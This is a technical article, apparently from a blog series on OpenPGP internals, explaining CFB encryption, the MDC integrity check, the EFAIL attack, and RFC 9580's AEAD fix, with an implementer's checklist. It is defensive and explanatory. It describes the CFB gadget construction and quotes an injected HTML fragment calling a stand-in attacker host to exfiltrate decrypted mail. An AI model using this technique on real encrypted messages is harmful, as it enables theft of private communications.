OpenPGP Internals — An Implementer's Series

Encryption & AEAD

Article 3 of 7 · CFB, the MDC, EFAIL, SEIPDv2

Sep 9, 2026 · security · 14 min read · 2820 words advanced

Confidentiality: CFB, the MDC, EFAIL, and SEIPDv2.

security openpgp pgp aead cryptanalysis

OpenPGP's encryption layer is the clearest case study in cryptographic engineering that the format offers: a 1990s design that used unauthenticated CFB, a 2007 bolt-on integrity check (the MDC) that was structurally unable to do its job, a 2018 attack (EFAIL) that turned the gap into practical full-plaintext exfiltration, and a 2024 fix (SEIPD version 2) that finally uses real AEAD. This article works through the mechanics of each step, including the exact CFB gadget construction, because the failure mode — decrypt first, check integrity later — recurs in systems far beyond OpenPGP.

Prerequisites. Article 1 for packet framing and the message grammar, Article 2 for S2K and key structure. The grammar point matters here: EFAIL is partly a grammar-enforcement failure.

1. The two-layer encryption model

OpenPGP always does hybrid encryption, even for a single recipient. A random session key encrypts the data symmetrically; the session key is then wrapped once per recipient.

Hybrid encryption: one session key, many wrappings random session key e.g. 32 octets for AES-256 PKESK — tag 1 wrapped to Alice's key PKESK — tag 1 wrapped to Bob's key SEIPD — tag 18 the actual ciphertext recipient count is visible on the wire — a metadata leak, mitigated only by "hidden recipient" mode, which sets the key ID to zero and forces trial decryption SKESK (tag 3) replaces PKESK when encrypting to a passphrase instead of a key

Fig. 1 — The session key is the pivot. Everything about OpenPGP confidentiality reduces to protecting it and then using it correctly.

Two consequences worth stating early. First, the recipient list is plaintext metadata — each PKESK carries the key ID it was wrapped to. Hidden-recipient mode zeroes that field, at the cost of forcing every recipient to attempt trial decryption against every key they hold. Second, compromise of the session key alone compromises the message without touching any private key, which is why session keys must come from a CSPRNG and why some workflows deliberately export a session key to allow a third party to decrypt one specific message without key sharing.

2. OpenPGP's non-standard CFB

Cipher Feedback mode turns a block cipher into a self-synchronizing stream cipher. Standard CFB is straightforward:

\[ C_i = P_i \oplus E_K(C_{i-1}), \qquad C_0 = \text{IV} \]

OpenPGP does something different, and the difference is historically significant. Instead of an explicit IV, it prefixes the plaintext with a random block plus a two-octet repeat of that block's last two octets, then — in the original RFC 1991/2440 construction — resynchronizes the CFB state after that prefix.

# OpenPGP CFB prefix, block size B (16 for AES)
prefix = R[0..B-1]  ‖  R[B-2]  ‖  R[B-1]
         └ random ┘    └ repeat of last two octets ┘

# A decryptor checks that the repeated octets match after decryption.
# This is a "quick check" — and it is a 16-bit oracle. See §2.1.

2.1 The quick-check oracle

Those two repeated octets were intended as a fast wrong-passphrase / wrong-key detector: decrypt the prefix, compare octets. But they constitute a 16-bit verifier that an attacker can query. If an implementation reveals whether the quick check passed — via an error message, a distinguishable timing difference, or simply by proceeding — an attacker gets an oracle answering "did this ciphertext decrypt to something with matching octets?" one attempt in 65,536 times.

Mister and Zuccherato demonstrated in "An Attack on CFB Mode Encryption As Used By OpenPGP" (2005) that this oracle enables recovery of plaintext blocks with roughly 215 oracle queries per two octets recovered. RFC 9580's response is direct: the quick check is removed in the v2 constructions, and implementations MUST NOT report quick-check failure distinguishably.

The general lesson, which outlives OpenPGP: any check performed on decrypted-but-unauthenticated data, whose result is observable, is a decryption oracle. This is the same shape as padding-oracle attacks on CBC, Bleichenbacher's attack on PKCS#1 v1.5, and the quick-check attack here. If you find yourself writing "decrypt, then check X, then report" — you have built one.

3. The MDC: a bolt-on that could not work

RFC 4880 recognized the malleability problem and added the Symmetrically Encrypted and Integrity Protected Data packet (tag 18) containing a Modification Detection Code: a SHA-1 hash over the plaintext, appended to the plaintext, and encrypted along with it.

# SEIPD version 1 (RFC 4880) plaintext layout, before encryption
[ CFB prefix ][ ...plaintext packets... ][ D3 14 ][ 20-octet SHA-1 ]
                                            │      │
                                            │      └─ MDC packet length
                                            └─ tag 19 (MDC packet header)

# The SHA-1 covers everything from the prefix through the D3 14 header.

The construction is a MAC-less integrity check: a plain hash, not keyed, made "secure" only by being inside the ciphertext. That framing has three structural defects:

  1. It is not a MAC. Confidentiality is doing double duty as authenticity. The security argument depends entirely on the attacker being unable to produce ciphertext that decrypts to a valid hash-plus-plaintext pair — which is exactly the property CFB's malleability puts under pressure.
  2. It is checked last. The MDC is at the end of the plaintext. A streaming decryptor has already emitted the entire plaintext to the caller before it can possibly verify. This is the fatal one.
  3. It was optional in practice. The legacy SED packet (tag 9) had no MDC at all, and implementations accepted both, so an attacker could simply downgrade by rewrapping the ciphertext in tag 9.

4. EFAIL: turning malleability into exfiltration

EFAIL (Poddebniak, Dresen, Müller, Ising, Schinzel, Friedberger, Somorovsky, Schwenk — USENIX Security 2018) is the paper that made all three defects concrete and expensive. The attacker's position is realistic: they have captured an encrypted email — from a mailbox breach, a backup, or the wire — and can send email to the victim.

4.1 The CFB gadget

The core primitive is a CFB gadget: a way to inject attacker-chosen plaintext into a message, using only knowledge of one known plaintext block. In CFB decryption:

\[ P_i = C_i \oplus E_K(C_{i-1}) \]

The attacker does not know \(K\), but observes that if they know \(P_i\) for some block, they can compute \(E_K(C_{i-1}) = P_i \oplus C_i\). With that value in hand they can append a chosen ciphertext block \(C^{*}\) whose decryption is anything they want:

\[ C^{*} = P^{\text{desired}} \oplus E_K(C_{i-1}) \]

Where does the known plaintext come from? OpenPGP supplies it for free. The Literal Data packet's header is highly predictable in structure — packet tag, format octet, filename length, timestamp — and in an email context the MIME structure surrounding the message is known. One known block is all the attack needs to bootstrap.

EFAIL: exfiltration through a rendered HTML tag captured ciphertext attacker cannot read it splice CFB gadgets inject <img src="http://evil/ email to victim looks like normal mail client decrypts, then renders HTML MDC check happens after output — or is skipped entirely browser requests http://evil/<PLAINTEXT> the URL path is the decrypted message no key was broken only malleability + a rendering channel

Fig. 2 — The cipher was never attacked. The attack is on the pipeline: malleable ciphertext, late integrity checking, and an output channel that reaches back to the attacker.

4.2 The exfiltration channel

The injected plaintext is an unterminated HTML tag: <img src="http://attacker.example/. When the mail client decrypts and renders, the real plaintext becomes part of the URL, and the client's own HTTP request delivers it to the attacker. Variants use <style>, <base href>, or MIME multipart tricks to achieve the same thing.

Note the division of labor. The cryptographic flaw is malleability plus late integrity checking. The delivery mechanism is a mail client that renders remote content in decrypted messages. Neither alone is sufficient; together they yield full plaintext recovery of previously captured mail.

4.3 The three integrity bypasses

BypassMechanismRoot cause
MDC strippingRemove the trailing MDC packet entirely; some clients then treated the message as unprotected rather than invalidMissing integrity treated as "no integrity available" instead of "reject"
MDC incorrectnessLeave a wrong MDC; clients that warned but still displayed plaintext leaked it anywayWarning ≠ refusal. Output was already emitted.
SEIP → SE downgradeRewrap ciphertext as legacy tag 9 (SED), which has no MDC by definitionAccepting a deprecated, unauthenticated packet type at all
The correct behavior, then and now: integrity failure must be indistinguishable from decryption failure, must produce no plaintext output whatsoever, and must not be downgradable by removing the integrity structure. RFC 9580 makes SED (tag 9) MUST-NOT-generate and requires rejecting it on parse; SEIPDv1 with a missing or bad MDC must yield nothing.

5. SEIPD version 2: actual AEAD

RFC 9580 replaces the encrypt-then-hope construction with authenticated encryption with associated data. The packet:

D2                    # tag 18, SEIPD
FF 00 00 08 30        # length
   02                 # version 2
   09                 # symmetric algorithm: AES-256
   02                 # AEAD algorithm: 2 = OCB
   06                 # chunk size exponent → 2^(6+6) = 4096 octets per chunk
   .. 32 octets salt ..
   .. chunk 0 ciphertext .. .. 16-octet tag ..
   .. chunk 1 ciphertext .. .. 16-octet tag ..
   ..
   .. final authentication tag over total length ..

5.1 Why chunking, and what it buys

A single AEAD tag over a multi-gigabyte message would force a decryptor to buffer the entire plaintext before it could authenticate anything — the exact "output before verification" trap that made EFAIL work. Chunking solves this: each chunk carries its own tag, so a streaming decryptor can authenticate and release chunk \(n\) before touching chunk \(n+1\).

\[ \text{chunk size} = 2^{(e + 6)} \text{ octets}, \qquad e = \text{chunk size exponent} \]

The associated data for each chunk binds the packet version, algorithms, chunk size, and the chunk index, which prevents an attacker from reordering, duplicating, or truncating chunks. The final tag — computed over the total plaintext length — is what makes truncation detectable: without it, an attacker could deliver the first \(k\) valid chunks and drop the rest, and every individual tag would still verify.

The remaining sharp edge. Chunked AEAD lets you stream, but streaming means releasing authenticated-so-far plaintext before the final tag is checked. If your consumer acts irreversibly on partial plaintext — writes it to a file another process reads, renders it, sends it somewhere — a truncation attack still has an effect window even though it is detected. Either buffer fully, or make partial output revocable. The spec gives you detection; it cannot give you rollback.

5.2 The three AEAD modes

IDModeNotes
1EAXTwo-pass, patent-clear, conservative. Slower than the alternatives.
2OCBSingle-pass and fastest. Historical patent encumbrance is resolved; RFC 9580 recommends it.
3GCMUbiquitous hardware support. Catastrophic under nonce reuse — the reason many designers prefer OCB here.

All three take their nonce from the salt and chunk index deterministically, which structurally prevents the nonce reuse that would break GCM. This is good design: rather than trusting implementations to manage nonces, the spec derives them.

6. Session key wrapping and version pairing

PKESK version 6 (paired with SEIPDv2) changed in two ways that matter:

  • Full fingerprint instead of key ID. v3 PKESK identifies the recipient key by 8-octet key ID; v6 uses the full fingerprint (plus a version octet). Given Article 2's discussion of key-ID collisions, this removes an ambiguity in recipient selection.
  • The symmetric algorithm moved. In v3 PKESK the cipher ID lives in the encrypted session key blob; in v6 it lives in the SEIPDv2 packet. This means the algorithm choice is now covered by the AEAD's associated data rather than sitting in a separately-encrypted field where a mismatch was possible.
Version pairing is a downgrade defense. RFC 9580 requires v6 PKESK/SKESK with SEIPDv2, and v3 PKESK/v4 SKESK with SEIPDv1. Accepting mixed pairs would let an attacker take a modern message and swap its container for a weak one. Reject mismatches at parse time, not after decryption.

7. Compression: an underrated hazard

OpenPGP compresses before encrypting by default in many implementations. Two consequences:

Compression ratio leaks plaintext information. Compress-then-encrypt is the precondition for the CRIME/BREACH family of attacks. In a setting where an attacker can influence part of the plaintext and observe ciphertext length, compression ratio reveals whether the attacker's guess matched existing content. OpenPGP's typical usage — one-shot, non-interactive messages — makes this much harder to exploit than in TLS, but it is not structurally immune, and any workflow where an attacker can repeatedly submit content that gets compressed alongside a secret should disable compression.

Decompression bombs. A small Compressed Data packet can expand to an arbitrary size. Since the grammar allows a compressed packet whose contents are another compressed packet, nesting multiplies this. Enforce both a total decompressed-size ceiling and a nesting-depth limit, and enforce them on the output of decompression, not on the input length.

8. Implementation checklist

RulePrevents
Reject SED (tag 9) unconditionally on parseEFAIL downgrade bypass
Emit no plaintext when integrity fails — not even a warning-plus-outputMDC-incorrectness bypass
Treat missing integrity structure as failure, not as "unprotected"MDC stripping bypass
Never report quick-check outcome distinguishablyMister–Zuccherato CFB oracle
Enforce PKESK/SKESK ↔ SEIPD version pairingContainer downgrade
Derive AEAD nonces from salt+index; never accept a supplied nonceGCM nonce-reuse catastrophe
Verify the final AEAD tag before treating output as completeTruncation attacks
Cap decompressed size and nesting depthDecompression bombs
Disable compression where attacker-influenced plaintext is possibleCRIME-style ratio leakage
Constant-time session key unwrapping, no distinguishable errorsBleichenbacher-style oracles on RSA PKESK

FAQ

Was EFAIL a break of OpenPGP's cryptography?

No, and the distinction matters. No cipher was broken and no key was recovered. EFAIL exploited malleable ciphertext combined with integrity checked after output, plus a mail client that fetched remote content from decrypted messages. It is a protocol-and-pipeline failure. That said, "not a crypto break" was overused as a defense at the time — the practical result was full plaintext recovery of captured mail, which is as bad as most crypto breaks.

Is SEIPDv1 with a correctly-implemented MDC safe to use today?

Correctly implemented — meaning strict rejection with no output on any integrity failure, no SED acceptance, no quick-check oracle — it resists the known EFAIL variants. It is still a non-AEAD construction using SHA-1, checked after full decryption. Use it for compatibility with old peers; do not choose it for new systems.

OCB, EAX, or GCM?

OCB, per RFC 9580's own recommendation: single-pass, fastest, and its patent situation is resolved. GCM is defensible where you have hardware acceleration and want a widely-audited implementation. EAX is the conservative fallback. All three are safe here because the spec derives nonces deterministically, removing the failure mode that usually decides this question.

Why does chunk size matter?

It is a memory-versus-overhead tradeoff. Smaller chunks mean lower peak memory for streaming and finer-grained authentication, at the cost of one 16-octet tag per chunk. Larger chunks reduce overhead but increase how much data must be buffered before any of it can be authenticated. The exponent encoding caps this at reasonable values in both directions.

Takeaways

  • The recurring failure is decrypt-then-verify. The MDC's position at the end of the plaintext made it structurally unable to protect a streaming decryptor, regardless of implementation quality.
  • Any observable check on unauthenticated decrypted data is an oracle — the CFB quick check being the canonical OpenPGP example, and the reason it was removed.
  • EFAIL required three bypasses — stripping, incorrectness tolerance, and SED downgrade — and each maps to a specific "be lenient" decision an implementation made.
  • SEIPDv2's chunked AEAD makes streaming authentication possible, with a final tag over total length to catch truncation the per-chunk tags cannot.
  • Deterministic nonce derivation is quietly one of the best decisions in RFC 9580, because it makes GCM safe to offer without trusting implementers to manage nonces.

Next in this series

Article 4 — Signatures and the verification interface: signature packet versions, the hashed/unhashed subpacket split and why unhashed data is attacker-controlled, cleartext signing's canonicalization traps, one-pass signatures, and SigSpoof — a decades-old spoofing bug that lived in the interface rather than the cryptography.

References

← prev: Keys & S2K next: Signatures →
© cvam — written in plaintext, served warm